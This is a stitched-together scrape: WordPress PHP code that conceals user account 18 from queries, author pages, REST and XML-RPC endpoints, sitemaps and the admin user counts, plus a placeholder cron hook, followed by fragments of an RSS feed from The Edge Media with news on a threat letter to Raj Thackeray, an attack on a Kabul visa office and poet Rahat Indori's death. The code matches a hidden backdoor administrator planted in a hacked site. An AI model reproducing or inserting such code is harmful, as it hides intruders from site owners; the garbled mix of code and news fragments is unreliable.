add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Raj Thackeray receives an Urdu threat letter appeared first on The Edge Media.
]]>
Urdu was used to write the letter. Today, Bala met with Maharashtra Home Minister Dilip Walse Patil to inform him of the threat letter. ‘If anything happens to the MNS chief, we would destroy Maharashtra,’ he was reportedly quoted as adding. The news came just a day after Raj Thackeray warned state Chief Minister Uddhav Thackeray about police action against MNS workers in connection with the loudspeaker conflict.
The post Raj Thackeray receives an Urdu threat letter appeared first on The Edge Media.
]]>The post Afghan Passports with Indian Visas are Seized by Urdu-Speaking Guys Who Attack a Kabul Office appeared first on The Edge Media.
]]>According to sources familiar with the situation, Indian immigration services have been informed of the seizure of Afghan passports with Indian visas, citing a severe concern that these documents could be used to fabricate false passports for terrorists in the future.
While it is unclear whose organization was behind the attack on the Indian visa outsourcing firm in Kabul, the invaders were speaking Urdu, which raises suspicions about Pakistan.
The post Afghan Passports with Indian Visas are Seized by Urdu-Speaking Guys Who Attack a Kabul Office appeared first on The Edge Media.
]]>The post Urdu poet Indori dies of a heart attack; was being treated for COVID-19 appeared first on The Edge Media.
]]>The 70-year-old teacher-turned-poet, who was being treated for COVID-19, died of a heart attack at a hospital in Indore, said his son Satlaj Indori, also a poet.
Among Rahat Indori’s most powerful lines were, “Sabhi ka khoon hai shamil yahan ki mitti mein; Kisi ke baap ka Hindustan thodi hai (Everybodys blood mingles in the soil here; Hindustan does not belong solely to any one)”.
With a 50-year career in poetry, Indori was known for the lyrics of songs like “M Bole toh” from Munnabhai MBBS (2003), Chori Chori Jab Nazrein Mili from Kareeb (1998), Koi jaye to le aye from Ghatak (1996), and “Neend Churai Meri” from Ishq (1997). His lyrics were used in 11 Bollywood films.
-PTI
The post Urdu poet Indori dies of a heart attack; was being treated for COVID-19 appeared first on The Edge Media.
]]>